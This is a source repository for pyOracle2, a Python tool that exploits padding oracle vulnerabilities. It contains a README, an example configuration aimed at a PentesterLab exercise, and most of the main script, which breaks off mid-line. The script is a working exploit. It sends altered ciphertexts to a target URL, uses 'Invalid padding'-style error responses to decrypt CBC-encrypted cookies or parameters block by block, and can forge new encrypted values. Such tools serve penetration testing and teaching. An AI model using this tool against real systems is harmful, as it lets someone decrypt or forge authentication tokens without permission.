├── LICENSE ├── README.md ├── example.ini ├── pyOracle2.py └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Paul Mueller 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PyOracle2 2 | 3 | https://blog.liquidsec.net/2020/11/30/introducing-pyoracle2/ 4 | 5 | A python-based padding oracle tool. 6 | 7 | Although several other padding oracle attack tools exist, some quite excellent, there are relatively few written in python. This tool provides another take on attacking padding oracle vulnerabilities with a handful of less common advanced features. 8 | 9 | Special Features: 10 | 11 | - **Fault Tolerance** - Can handle some random bad requests (performs sanity check and will redo a block result that doesn’t make sense) 12 | - **Resume feature** - Can be stopped and resumed at will (State of the operation is serialized and stored to disk!) 13 | - **HTTP Proxy Support** 14 | - **Positive and negative oracle searching** - can look for a special string to identify a successful request, and optionally the lack of a string 15 | - **Multiple IV modes** - Supports first block IV (most common), last block IV, or known IV. 16 | 17 | Planned improvements: 18 | 19 | - ~~Different encoding modes (only base64 is supported currently, although this is definately the most common)~~ **Hex support added** 20 | - Ability to operate inside of XML parameters and JSON variables 21 | - Support for timing-based oracles 22 | 23 | 24 | 25 | ``` 26 | usage: pyOracle2.py [-h] [-r RESTORE] [-i INPUT] [-m MODE] [-d] [-c CONFIG] 27 | 28 | optional arguments: 29 | -h, --help show this help message and exit 30 | -r RESTORE, --restore RESTORE 31 | Specify a state file to restore from 32 | -i INPUT, --input INPUT 33 | Specify either the ciphertext (for decrypt) or 34 | plainttext (for encrypt) 35 | -m MODE, --mode MODE Select encrypt or decrypt mode 36 | -d, --debug increase output verbosity 37 | -c CONFIG, --config CONFIG 38 | Specify the configuration file 39 | ``` 40 | 41 | pyOracle2 is designed around the creation of a configuration file for each unique "job". The goal is to frontload the configuration of the job so that once it is set correctly, exploitation can occur as easily as possible with a concise CLI command. A sample of the configuration file is provided. 42 | 43 | 44 | Config file example 45 | This example config should work out of the box (aside from setting the correct IP address) with the PentesterLab padding oracle exercise iso: https://pentesterlab.com/exercises/padding_oracle/iso 46 | ``` 47 | [default] 48 | 49 | # Job Name 50 | name = Name 51 | 52 | # Specify the target URL 53 | URL = http://127.0.0.1/index.php 54 | 55 | # Specify the HTTP method (GET or POST) 56 | httpMethod = GET 57 | 58 | # when using POST, specifiy the POST mode: (form-urlencoded, multipart, or json) 59 | postFormat = x-www-form-urlencoded 60 | 61 | # specify the input mode (parameter, body, cookie) 62 | inputMode = cookie 63 | 64 | # encoding mode. Current options are base64, base64Url, or hex 65 | encodingMode = base64 66 | 67 | # Specify the parameter which contains the vulnerable variable 68 | vulnerableParameter = auth 69 | 70 | # Additional Parameters (specified in a dictionary as a key/value pair). Be sure to use double quotes. 71 | additionalParameters = {} 72 | 73 | # Set the blocksize for the target 74 | blocksize = 8 75 | 76 | # Enable / Disable http proxy for outgoing traffic 77 | httpProxyOn = True 78 | httpProxyIp = 127.0.0.1 79 | httpProxyPort = 8080 80 | 81 | # Specify headers to add to the request (specified in a dictionary as a key/value pair) 82 | 83 | headers = {"User-Agent":"Mozilla/5.0","Content-Type":"application/json"} 84 | 85 | 86 | # Specify Cookies to add to the request (specified in a dictionary as a key/value pair) 87 | cookies = {} 88 | 89 | 90 | # Specify the IV mode 91 | 92 | # In most implementations, the IV is provided as the 'first block' of the ciphertext. 93 | # In other cases, the IV may be kept a known secret by both endpoints. In such a case, it should still be possible to decrypt everything but the first block. 94 | # The IV may also be a static values such as all zeroes. 95 | 96 | 97 | # Modes: 98 | 99 | # 'firstblock'. This mode assumes that the first block of the ciphertext is the IV (most common) 100 | # 'knownIV'. This mode allows for user provided IV 101 | # 'unknown'. Use this mode when you do not know the IV and it is not the first block but still wish to decrypt all but the first block, or re-encrypt all but the first block for encryption 102 | # 'lastblock'. This has not been implemented yet, but it may be in the future as it is a rare but possible configuration 103 | 104 | 105 | # choose from one of the above modes 106 | ivMode = firstblock 107 | # If using knownIV mode, specify the IV 108 | #IV should be in decimal list format. For example: [72,65,82,65,77,66,69] 109 | iv = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] 110 | 111 | # The oracle defines the information leak that is abused to know when padding is valid. This is typically an error message. 112 | # There are several trigger modes depending on the situation. Sometimes you will want to look for a specific phrase, other times you want to look for an absence of that phrase. 113 | 114 | # trigger modes: 115 | # 'search' - simply look for a specific phrase 116 | # 'negative' - the opposite of search. Trigger when you don't see the phrase 117 | oracleMode = negative 118 | 119 | # Define the search phrase to look for from the oracle 120 | oracleText = Invalid padding 121 | ``` 122 | -------------------------------------------------------------------------------- /example.ini: -------------------------------------------------------------------------------- 1 | [default] 2 | 3 | # Job Name 4 | name = Name 5 | 6 | # Specify the target URL 7 | URL = http://127.0.0.1/index.php 8 | 9 | # Specify the HTTP method (GET or POST) 10 | httpMethod = GET 11 | 12 | # when using POST, specify the POST mode: (form-urlencoded, multipart, or json) 13 | postFormat = form-urlencoded 14 | 15 | # specify the input mode (parameter, body, cookie) 16 | inputMode = cookie 17 | 18 | # encoding mode. Current options are base64, base64Url, or hex 19 | encodingMode = base64 20 | 21 | # Specify the parameter which contains the vulnerable variable 22 | vulnerableParameter = auth 23 | 24 | # Additional Parameters (specified in a dictionary as a key/value pair). Be sure to use double quotes. 25 | additionalParameters = {} 26 | 27 | # Set the blocksize for the target 28 | blocksize = 8 29 | 30 | # Enable / Disable http proxy for outgoing traffic 31 | httpProxyOn = True 32 | httpProxyIp = 127.0.0.1 33 | httpProxyPort = 8080 34 | 35 | # Specify headers to add to the request (specified in a dictionary as a key/value pair) 36 | 37 | headers = {"User-Agent":"Mozilla/5.0","Content-Type":"application/json"} 38 | 39 | 40 | # Specify Cookies to add to the request (specified in a dictionary as a key/value pair) 41 | cookies = {} 42 | 43 | 44 | # Specify the IV mode 45 | 46 | # In most implementations, the IV is provided as the 'first block' of the ciphertext. 47 | # In other cases, the IV may be kept a known secret by both endpoints. In such a case, it should still be possible to decrypt everything but the first block. 48 | # The IV may also be a static values such as all zeroes. 49 | 50 | 51 | # Modes: 52 | 53 | # 'firstblock'. This mode assumes that the first block of the ciphertext is the IV (most common) 54 | # 'knownIV'. This mode allows for user provided IV 55 | # 'unknown'. Use this mode when you do not know the IV and it is not the first block but still wish to decrypt all but the first block, or re-encrypt all but the first block for encryption 56 | # 'lastblock'. This has not been implemented yet, but it may be in the future as it is a rare but possible configuration 57 | 58 | 59 | # choose from one of the above modes 60 | ivMode = firstblock 61 | # If using knownIV mode, specify the IV 62 | #IV should be in decimal list format. For example: [72,65,82,65,77,66,69] 63 | iv = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] 64 | 65 | # The oracle defines the information leak that is abused to know when padding is valid. This is typically an error message. 66 | # There are several trigger modes depending on the situation. Sometimes you will want to look for a specific phrase, other times you want to look for an absence of that phrase. 67 | 68 | # trigger modes: 69 | # 'search' - simply look for a specific phrase 70 | # 'negative' - the opposite of search. Trigger when you don't see the phrase 71 | oracleMode = negative 72 | 73 | # Define the search phrase to look for from the oracle 74 | oracleText = Invalid padding 75 | -------------------------------------------------------------------------------- /pyOracle2.py: -------------------------------------------------------------------------------- 1 | # pyOracle 2.2 2 | # A python padding oracle vulnerability exploitation tool 3 | # By Paul Mueller (@paulmmueller) 4 | 5 | import socket 6 | import requests 7 | import sys 8 | import urllib.parse 9 | import binascii 10 | import argparse 11 | import os.path 12 | from os import path 13 | import configparser 14 | import json 15 | import validators 16 | import pickle 17 | import time 18 | import base64 19 | 20 | # Disable SSL warning in the case of running behind an SSL decryption device 21 | requests.packages.urllib3.disable_warnings() 22 | 23 | def makeCookieString(cookies): 24 | cookieString = '' 25 | for k,v in cookies.items(): 26 | cookieString = cookieString + k + "=" + v + ';' 27 | return cookieString 28 | 29 | 30 | def encode_multipart(fields): 31 | boundary = binascii.hexlify(os.urandom(16)).decode('ascii') 32 | 33 | body = ( 34 | "".join("--%s\r\n" 35 | "Content-Disposition: form-data; name=\"%s\"\r\n" 36 | "\r\n" 37 | "%s\r\n" % (boundary, field, value) 38 | for field, value in fields.items()) + 39 | "--%s--\r\n" % boundary 40 | ) 41 | 42 | content_type = "multipart/form-data; boundary=%s" % boundary 43 | 44 | return body, content_type 45 | 46 | def split_by_n(seq,n): 47 | """A generator to divide a sequence into chunks of n units.""" 48 | while seq: 49 | yield seq[:n] 50 | seq = seq[n:] 51 | 52 | # append message to log files 53 | def writeToLog(message): 54 | ts = str(time.time()) 55 | f = open('pyoracle2.log','a') 56 | f.write(f"{ts}:{message}\n") 57 | f.close() 58 | 59 | # / and + b64 characters are problematic if they are not URL encoded 60 | def b64urlEncode(string): 61 | string = string.replace("/","%2F").replace("+","%2B") 62 | return string 63 | 64 | # convert bytes to base64 65 | def bytes_to_base64(bytes_v): 66 | encoded_data = base64.b64encode(bytes_v) 67 | num_initial = len(bytes_v) 68 | padding = { 0:0, 1:2, 2:1 }[num_initial % 3] 69 | return encoded_data 70 | 71 | def handleError(message): 72 | print(message) 73 | sys.exit(2) 74 | 75 | # Save the current job object to a pickle and write it to a file 76 | def saveState(job): 77 | ts = time.time() 78 | if job.currentBlock == (job.blockCount): 79 | currentBlockStr = "FINAL" 80 | else: 81 | currentBlockStr = str(job.currentBlock) 82 | outputFileName = f"pyOracleState-{job.name}-BLOCK({currentBlockStr})-{str(int(ts))}.pkl" 83 | pickleOut = open(outputFileName,"wb") 84 | pickle.dump(job,pickleOut) 85 | pickleOut.close() 86 | 87 | # add padding to the end of the string 88 | def paddify(string,blocksize): 89 | groups_storage = [] 90 | groups = list(split_by_n(string,blocksize)) 91 | for idx,group in enumerate(groups): 92 | 93 | # if its not the last block, just append 94 | if (idx + 1) < len(groups): 95 | groups_storage.append(str(group)) 96 | else: 97 | temp_group = str(group[:]) 98 | padding_length = blocksize - len(group) 99 | # if we fall right on a block boundary, we need a full block of padding 100 | if padding_length == 0: 101 | padding_length = blocksize 102 | for i in range(0,padding_length): 103 | temp_group = temp_group + chr(padding_length) 104 | groups_storage.append(temp_group) 105 | paddedstring = ''.join(groups_storage) 106 | return paddedstring 107 | 108 | # The job object holds the state for the encrypt/decrypt operation and contains the majority of the cryptographic code 109 | class Job: 110 | # set variables for the instance 111 | def __init__(self,blocksize,mode,debug,sourceString,name,ivMode,URL,httpMethod,additionalParameters,httpProxyOn,httpProxyIp,httpProxyPort,headers,iv,oracleMode,oracleText,vulnerableParameter,inputMode,cookies,encodingMode,postFormat): 112 | 113 | print('[*]Initializing job....') 114 | self.name = name 115 | print(f"\nJob name: {self.name}") 116 | print(f"[+]Blocksize: {str(blocksize)}") 117 | self.blocksize = blocksize 118 | self.mode = mode 119 | print(f"\n[+]Mode: {str(mode)}") 120 | self.debug = debug 121 | if self.debug == True: 122 | print(f"[+]Debug Mode ON\n") 123 | else: 124 | print(f"[.]Debug Mode OFF\n") 125 | 126 | self.sourceString = sourceString 127 | if self.debug == True: 128 | print("\n[#]Source String:") 129 | print(self.sourceString) 130 | 131 | self.ivMode = ivMode 132 | self.iv = iv 133 | self.URL = URL 134 | self.httpMethod = httpMethod 135 | self.additionalParameters = additionalParameters 136 | self.httpProxyOn = httpProxyOn 137 | self.httpProxyIp = httpProxyIp 138 | self.httpProxyPort = httpProxyPort 139 | self.headers = headers 140 | self.cookies = cookies 141 | self.oracleMode = oracleMode 142 | self.oracleText = oracleText 143 | self.vulnerableParameter = vulnerableParameter 144 | self.inputMode = inputMode 145 | self.encodingMode = encodingMode 146 | self.postFormat = postFormat 147 | 148 | # establish state on current completed block 149 | self.currentBlock = 0 150 | 151 | # establish initial state on solved blocks 152 | self.solvedBlocks = {} 153 | 154 | 155 | def initialize(self): 156 | self.proxy = {} 157 | 158 | if self.httpProxyOn: 159 | self.proxy['http'] = f"http://{self.httpProxyIp}:{self.httpProxyPort}" 160 | self.proxy['https'] = f"http://{self.httpProxyIp}:{self.httpProxyPort}" 161 | 162 | if self.mode == "decrypt": 163 | self.decryptInit() 164 | elif self.mode == "encrypt": 165 | self.encryptInit() 166 | else: 167 | handleError("\n[!]Invalid mode value! Exiting.") 168 | 169 | 170 | def oracleCheck(self,result): 171 | 172 | if self.oracleMode == 'search': 173 | if self.oracleText in result.text: 174 | return True 175 | else: 176 | return False 177 | 178 | elif oracleMode == 'negative': 179 | if self.oracleText not in result.text: 180 | return True 181 | else: 182 | return False 183 | 184 | # make the HTTP request to the target to check current padding array against padding oracle 185 | def makeRequest(self,encryptedstring): 186 | 187 | tempcookies = self.cookies.copy() 188 | 189 | # if the vulnerable parameter is a cookie, add it 190 | if self.inputMode == "cookie": 191 | tempcookies[self.vulnerableParameter] = encryptedstring 192 | 193 | # if there are additional cookies they get added here 194 | cookieString = makeCookieString(tempcookies) 195 | headers['Cookie'] = cookieString 196 | 197 | if self.httpMethod == "GET": 198 | 199 | urlBuilder = self.URL 200 | 201 | if self.inputMode == 'parameter': 202 | # add the vulnerable parameter 203 | urlBuilder = urlBuilder + '?' + self.vulnerableParameter + '=' + encryptedstring 204 | 205 | # if we already set a GET, additionals should start with "&" 206 | firstDelimiter = "&" 207 | else: 208 | firstDelimiter = "?" 209 | 210 | # add the additional parameters 211 | for idx,additionalParameter in enumerate(self.additionalParameters.items()): 212 | if idx == 0: 213 | delimiter = firstDelimiter 214 | else: 215 | delimiter = '&' 216 | urlBuilder = urlBuilder + delimiter + additionalParameter[0] + '=' + additionalParameter[1] 217 | 218 | 219 | r = requests.get(urlBuilder,headers=self.headers,proxies=self.proxy,verify=False,allow_redirects=False) 220 | 221 | elif (self.httpMethod == "POST"): 222 | 223 | # first, get the additional parameters 224 | postData = self.additionalParameters.copy() 225 | 226 | if self.inputMode == 'parameter': 227 | 228 | # add the vulnerable parameter 229 | postData[self.vulnerableParameter] = encryptedstring 230 | 231 | if (self.postFormat == "form-urlencoded"): 232 | self.headers["Content-Type"] = "application/x-www-form-urlencoded" 233 | r = requests.post(self.URL,data=postData,headers=self.headers,proxies=self.proxy,verify=False,allow_redirects=False) 234 | 235 | elif (self.postFormat == "multipart"): 236 | 237 | postData,multipartContentType = encode_multipart(postData) 238 | self.headers['Content-Type'] = multipartContentType 239 | r = requests.post(self.URL,data=postData,headers=self.headers,proxies=self.proxy,verify=False,allow_redirects=False) 240 | 241 | elif (self.postFormat == "json"): 242 | 243 | self.headers["Content-Type"] = "application/json" 244 | r = requests.post(self.URL,json=postData,headers=self.headers,proxies=self.proxy,verify=False,allow_redirects=False) 245 | return r 246 | 247 | def fakeIV(self): 248 | return [0] * self.blocksize 249 | 250 | def printProgress(self): 251 | print(f"\n[!] Solved {self.currentBlock} blocks out of {self.blockCount}") 252 | print("##################################") 253 | try: 254 | print(''.join(self.solvedBlocks.values())) 255 | except: 256 | print(b''.join(self.solvedBlocks.values())) 257 | print("##################################") 258 | 259 | def verbosePrint(self,padding_array,tempTokenBytes,tempToken,resultText): 260 | print('[!]LENGTH OF tempTokenBytes: ' + str(len(tempTokenBytes))) 261 | print('[!]Full result text: ' + resultText) 262 | print('[+]Current padding array: ') 263 | print('*************************************************') 264 | print(padding_array) 265 | print('*************************************************\n') 266 | 267 | print('[*]This is what the encrypted string would look like') 268 | print('*************************************************') 269 | print(tempToken) 270 | print('*************************************************\n') 271 | 272 | def encryptBlockFail(self,padding_array,tempTokenBytes): 273 | self.decryptBlockFail(padding_array,tempTokenBytes) 274 | 275 | 276 | def decryptBlockFail(self,padding_array,tempTokenBytes): 277 | 278 | writeToLog('No characters produced valid padding. For the current block aborting') 279 | print('\n[!]ERROR! No characters produced valid padding! This must mean there was previously an irrecoverable error!') 280 | print('*************************************************\n') 281 | raise Exception("Block failed to decrypt/encrypt, likely a random network error.") 282 | #sys.exit(2) 283 | 284 | def encryptBlock(self): 285 | print(f'[!]Starting Analysis for block number: {self.currentBlock + 1} OF {self.blockCount}\n') 286 | padding_array = [0] * self.blocksize 287 | solved_intermediates = {} # a place to store the solved intermediates 288 | solved_crypto = {} 289 | padding_num = 1 290 | currentbyte = self.blocksize - 1 291 | # we start with zeros and back calculate the previous block to match 292 | 293 | if self.currentBlock == 0: 294 | previousBlock = [0] * self.blocksize 295 | else: 296 | previousBlock = list(bytearray(self.solvedBlocks[self.currentBlock - 1])) 297 | 298 | for n in range(0,self.blocksize): 299 | tempblock = self.blocks[self.currentBlock][:] 300 | 301 | if self.debug: 302 | print('[*]CURRENT BLOCK PLAINTEXT:') 303 | print('*************************************************') 304 | print(tempblock) 305 | print('*************************************************\n') 306 | 307 | count = 0 308 | solved = False 309 | while solved == False: 310 | if count > 255: 311 | self.encryptBlockFail(padding_array,tempTokenBytes) 312 | padding_array[currentbyte] = count #keep changing the same byte in the previous block 313 | 314 | for k,v in solved_intermediates.items(): #populate the previous bytes with the correct values based on the changing padding but constant intermediates 315 | padding_array[k] = v ^ padding_num 316 | tempTokenBytes = bytes(self.fakeIV() + padding_array + previousBlock) 317 | 318 | if encodingMode == 'base64': 319 | tempToken = urllib.parse.quote_plus(bytes_to_base64(tempTokenBytes)) 320 | 321 | if encodingMode == 'base64Url': 322 | tempToken = bytes_to_base64(bytes(tempTokenBytes)).decode().replace('=','').replace("+","-").replace('/','_') 323 | 324 | if encodingMode == 'hex': 325 | tempToken = tempTokenBytes.hex().upper() 326 | result = self.makeRequest(tempToken) #make the request with the messed with encryptedstring 327 | 328 | if self.debug: 329 | print('[!]Full result text: ' + result.text) 330 | print('[+]Current padding array: ') 331 | print('*************************************************') 332 | print(padding_array) 333 | print('*************************************************\n') 334 | 335 | print('[*]This is what the encrypted value would look like') 336 | print('*************************************************') 337 | print(tempToken) 338 | print('*************************************************') 339 | 340 | # if the oracleCheck failed... (not solved) 341 | if not self.oracleCheck(result): 342 | count = count + 1 #increment the count 343 | else: 344 | solved = True 345 | print('[+]SOLVED FOR BYTE NUMBER: ' + str(currentbyte)) 346 | currenti = count ^ padding_num #if we solved it, get the current intermediate 347 | print('[+]The current I value is: ' + str(currenti)) 348 | solved_intermediates[currentbyte] = currenti 349 | 350 | #XOR the intermediate and the actual plain text to determine the cipher byte for the next (previous) block 351 | currentcrypto = (self.blocks[self.currentBlock][currentbyte]) ^ currenti 352 | print(f'[+]crypto value of this char in the next (previous) block is: {str(currentcrypto)}\n') 353 | solved_crypto[currentbyte] = currentcrypto 354 | if self.debug: 355 | print(f'[+]cross-check padding level: {str(currenti ^ padding_array[currentbyte])}\n') 356 | 357 | padding_num = padding_num + 1 #increment padding_num and decrement currentbyte 358 | currentbyte = currentbyte - 1 359 | 360 | blockresult = bytes(reversed(list(solved_crypto.values()))) 361 | print('\n*************************************************') 362 | print('[*]BLOCK SOLVED:') 363 | print(blockresult) 364 | print('*************************************************\n') 365 | writeToLog(f'[!]BLOCK SOLVED: {blockresult}') 366 | return blockresult 367 | 368 | def decryptBlock(self): 369 | print(f"[!]Starting Analysis for block number: {self.currentBlock} OF {self.blockCount}\n") 370 | padding_array = [0] * self.blocksize 371 | solved_intermediates = {} # a place to store the solved intermediates 372 | solved_reals = {} 373 | padding_num = 1 #starting at padding one, increase as we work backwards 374 | currentbyte = self.blocksize - 1 #start at the last byte according to the length of block 375 | # if we are on the first block use the IV as the 'previousBlock' 376 | if self.currentBlock == 0: 377 | if self.ivMode == "firstblock" or self.ivMode == "knownIV": 378 | previousBlock = self.iv 379 | else: 380 | #This should only happen if we are using unknown IV 381 | currentIV = self.fakeIV() 382 | else: 383 | previousBlock = self.blocks[self.currentBlock - 1] 384 | for n in range(0,self.blocksize): 385 | tempblock = self.blocks[self.currentBlock][:] #make a copy of the byte array that we can mess with 386 | 387 | if self.debug: 388 | print('[*]CURRENT BLOCK DECIMAL:') 389 | print('*************************************************') 390 | print(tempblock) 391 | print('*************************************************\n') 392 | 393 | count = 0 394 | solved = False 395 | while solved == False: 396 | # We tried all possible bytes for this position and failed. Something isn't working. 397 | if count > 255: 398 | self.decryptBlockFail(padding_array,tempTokenBytes) 399 | padding_array[currentbyte] = count #keep changing the same byte in the previous block 400 | for k,v in solved_intermediates.items(): 401 | padding_array[k] = v ^ padding_num 402 | 403 | tempTokenBytes = bytearray(self.fakeIV() + padding_array + tempblock) #put the bytes back together into a string 404 | 405 | if self.encodingMode == 'base64': 406 | tempToken = urllib.parse.quote_plus(bytes_to_base64(tempTokenBytes)) #re-base64 that string 407 | 408 | if self.encodingMode == 'base64Url': 409 | tempToken = bytes_to_base64(tempTokenBytes).decode().replace('=','').replace("+","-").replace('/','_') 410 | 411 | if self.encodingMode == 'hex': 412 | tempToken = tempTokenBytes.hex().upper() 413 | 414 | result = self.makeRequest(tempToken) #make the request with the messed with encryptedstring 415 | 416 | if self.debug: 417 | self.verbosePrint(padding_array,tempTokenBytes,tempToken,result.text) 418 | 419 | # if the oracleCheck failed... (not solved) 420 | if not self.oracleCheck(result): 421 | count = count + 1 #increment the count 422 | 423 | else: 424 | print('[+]SOLVED FOR BYTE NUMBER: ' + str(currentbyte)) 425 | solved = True 426 | currenti = count ^ padding_num #if we solved it, get the current intermediate 427 | print('[+]The current I value is: ' + str(currenti)) 428 | solved_intermediates[currentbyte] = currenti 429 | currentreal = (previousBlock[currentbyte]) ^ currenti #use the current intermediate, and the real last block encryption to find the current real 430 | print('[+]real value of last char is: ' + str(currentreal) + '\n') 431 | solved_reals[currentbyte] = currentreal 432 | if self.debug: 433 | print('[+]cross-check padding level:' + str(currenti ^ padding_array[currentbyte]) + '\n') 434 | # increment padding_num and decrement currentbyte 435 | padding_num = padding_num + 1 436 | currentbyte = currentbyte - 1 437 | 438 | blockresult = bytes(reversed(list(solved_reals.values()))) 439 | 440 | # Attempt to convert to an ascii string. If it fails, something probably went wrong. 441 | try: 442 | blockresultString = blockresult.decode() 443 | except: 444 | blockresultString = blockresult.decode('latin1') 445 | print("Failed sanity check, but bypassing for now") 446 | #raise Exception("Block failed sanity check!") 447 | writeToLog(f'[!]BLOCK SOLVED: {blockresult}') 448 | print(f'[!]BLOCK SOLVED: {blockresult}') 449 | return blockresult 450 | 451 | def nextBlock(self): 452 | 453 | if self.mode == 'decrypt': 454 | try: 455 | result = self.decryptBlock() 456 | 457 | except Exception as e: 458 | writeToLog(f'[!] decryption of block {self.currentBlock} failed. Error message: {e}') 459 | print(f'[!] decryption of block {self.currentBlock} failed. Error message: {e}') 460 | return 1 461 | if self.mode == 'encrypt': 462 | try: 463 | result = self.encryptBlock() 464 | except Exception as e: 465 | writeToLog(f'[!] encryption of block {self.currentBlock} failed. Error message: {e}') 466 | print(f'[!] encryption of block {self.currentBlock} failed. Error message: {e}') 467 | return 1 468 | 469 | # add the result to solvedBlocks. We may have to remove it again if we fail the oracleCheck sanity check. 470 | self.solvedBlocks[self.currentBlock] = result 471 | 472 | if self.mode == 'encrypt': 473 | 474 | # combine all of the blocks into one decimal list 475 | joinedCrypto = b''.join(reversed(list(job.solvedBlocks.values()))) 476 | 477 | # add in the "first" (last) block of all 0's 478 | joinedCrypto = b''.join([joinedCrypto,bytes([0] * job.blocksize)]) 479 | 480 | if encodingMode == 'base64': 481 | encryptTemp = b64urlEncode(urllib.parse.quote_plus(bytes_to_base64(joinedCrypto)))# 482 | 483 | if encodingMode == "base64Url": 484 | encryptTemp = bytes_to_base64(joinedCrypto).decode().replace('=','').replace("+","-").replace('/','_') 485 | 486 | if encodingMode == 'hex': 487 | encryptTemp = joinedCrypto.hex().upper() 488 | oracleCheckResult = self.makeRequest(encryptTemp) #make the request with the messed with encryptedstring 489 | 490 | #if the oracleCheck failed... (not solved) 491 | if not self.oracleCheck(oracleCheckResult): 492 | writeToLog(f'[!] encryption of block {self.currentBlock} failed. Reason: Sanity Check failed.') 493 | print('block failed sanity check!') 494 | # back out of the block 495 | del self.solvedBlocks[self.currentBlock] 496 | return 1 497 | 498 | return 0 499 | 500 | # initialize variables necessary to perform decryption. 501 | def decryptInit(self): 502 | 503 | # Run the string through a URL decoder 504 | unquoted_sourcestring = urllib.parse.unquote(args.input) 505 | 506 | # decode the encrypted string 507 | 508 | if (encodingMode == 'base64') or (encodingMode == 'base64Url'): 509 | # some base64 implementations strip padding, if so we need to add it back 510 | unquoted_sourcestring += '=' * (len(unquoted_sourcestring) % 4) 511 | 512 | if encodingMode == 'base64Url': 513 | unquoted_sourcestring = unquoted_sourcestring.replace('-','+').replace('_','/') 514 | 515 | if (encodingMode == 'base64') or (encodingMode == 'base64Url'): 516 | decoded_sourcestring = binascii.a2b_base64(unquoted_sourcestring) 517 | 518 | if encodingMode == 'hex': 519 | decoded_sourcestring = bytes.fromhex(unquoted_sourcestring) 520 | 521 | bytemap = list(decoded_sourcestring) 522 | 523 | # Save the bytemap to the object in case operation is interupted 524 | self.bytemap = bytemap 525 | 526 | # initialize the blocks array 527 | self.blocks = [] 528 | 529 | # we have to recreate the byte array, not just reference it 530 | actualBlocks = self.bytemap[:] 531 | 532 | #Get the block count and save it to the instance 533 | print(actualBlocks) 534 | print(int(len(actualBlocks))) 535 | self.blockCount = int((len(actualBlocks) / self.blocksize)) 536 | 537 | # if the mode is 'firstblock' we need to remove the first block and assign it as the IV 538 | if self.ivMode == "firstblock": 539 | self.iv = actualBlocks[0:self.blocksize] 540 | # push forward one block length 541 | actualBlocks = actualBlocks[blocksize:] 542 | self.blockCount = self.blockCount - 1 543 | 544 | # if the mode is unknown, we can just set the IV to zeros. The first block won't work, but everything else will. 545 | elif ivMode == 'unknown': 546 | self.iv = [0] * self.blocksize 547 | 548 | # if the mode is knownIV, it is already set 549 | 550 | # Display the block count 551 | print(f"\n[+] (non-IV) Block Count: {self.blockCount}") 552 | 553 | if self.debug: 554 | print('\n[#]decimal representation of the decoded token value' + '\n') 555 | print('*************************************************') 556 | print(self.bytemap) 557 | print('*************************************************\n') 558 | 559 | # iterate through the block array and separate the blocks 560 | for x in range (0,self.blockCount): 561 | 562 | # take the next block off and add it to self.blocks 563 | self.blocks.append(actualBlocks[0:self.blocksize]) 564 | 565 | # push forward one block length 566 | actualBlocks = actualBlocks[blocksize:] 567 | 568 | if self.debug: 569 | print('*************************************************\n') 570 | print('\n[*]Initialization Vector (IV) value:') 571 | print(self.iv) 572 | print('*************************************************\n') 573 | 574 | def encryptInit(self): 575 | 576 | # set the text to encrypt and paddify it 577 | self.encryptText = paddify(args.input,self.blocksize) 578 | print(f"[+]Raw encrypt string: {args.input}") 579 | print(f"[+]Padded encrypt string: {self.encryptText}") 580 | 581 | # the mode is knownIV or unknownIV, we cant encrypt the first block. It should be possible to encrypt all other blocks, but we will add this later. 582 | if not self.ivMode == "firstblock": 583 | print("[!]Support for encrypting with knownIV or unknownIV mode is not currently in place") 584 | sys.exit(2) 585 | 586 | # Save the bytemap to the object in case operation is interupted 587 | bytemap = str.encode(self.encryptText) 588 | self.bytemap = bytemap 589 | 590 | # initialize the blocks array 591 | self.blocks = [] 592 | 593 | # we have to recreate the byte array, not just reference it 594 | actualBlocks = self.bytemap[:] 595 | # print(actualBlocks) 596 | 597 | #Get the block count and save it to the instance 598 | self.blockCount = int((len(self.bytemap) / self.blocksize)) 599 | 600 | # iterate through the block array and separate the blocks 601 | for x in range (0,self.blockCount): 602 | 603 | # take the next block off and add it to self.blocks 604 | self.blocks.append(actualBlocks[0:self.blocksize]) 605 | 606 | # push forward one block length 607 | actualBlocks = actualBlocks[blocksize:] 608 | 609 | # Encryption works by starting at the last block and working backwards. Therefore, we will reverse the blocks. 610 | self.blocks = list(reversed(self.blocks)) 611 | 612 | 613 | # argparse setup 614 | parser = argparse.ArgumentParser() 615 | parser.add_argument("-r", "--restore", type=str,help="Specify a state file to restore from") 616 | parser.add_argument("-i", "--input", type=str,help="Specify either the ciphertext (for decrypt) or plainttext (for encrypt)") 617 | parser.add_argument("-m", "--mode", type=str,help="Select encrypt or decrypt mode") 618 | parser.add_argument("-d", "--debug", action="store_true", help="increase output verbosity") 619 | parser.add_argument("-c", "--config", type=str, help="Specify the configuration file") 620 | args = parser.parse_args() 621 | 622 | 623 | # check to see if we are performing a restore operation 624 | if args.restore: 625 | # if we are doing a restore, no other flags should be set 626 | if (args.input or args.mode or args.debug): 627 | handleError("\n[x] In restore mode no other options should be set! Exiting.") 628 | 629 | # make sure that required parameters are present and validated 630 | else: 631 | if ((not args.mode) or (not args.input) or (not args.config)): 632 | handleError("\n[x] Mode (-m), Config (-c), and input (-i) are required parameters. Exiting") 633 | 634 | if ((args.mode != 'encrypt') and (args.mode != 'decrypt') and (args.mode != 'd') and (args.mode != 'e')): 635 | handleError("\n[x] Mode must be set to either 'encrypt' / 'decrypt' or e / d. Exiting.") 636 | else: 637 | if args.mode == 'e': 638 | args.mode = 'encrypt' 639 | if args.mode == 'd': 640 | args.mode = 'decrypt' 641 | 642 | # Proceed with resume function 643 | if args.restore: 644 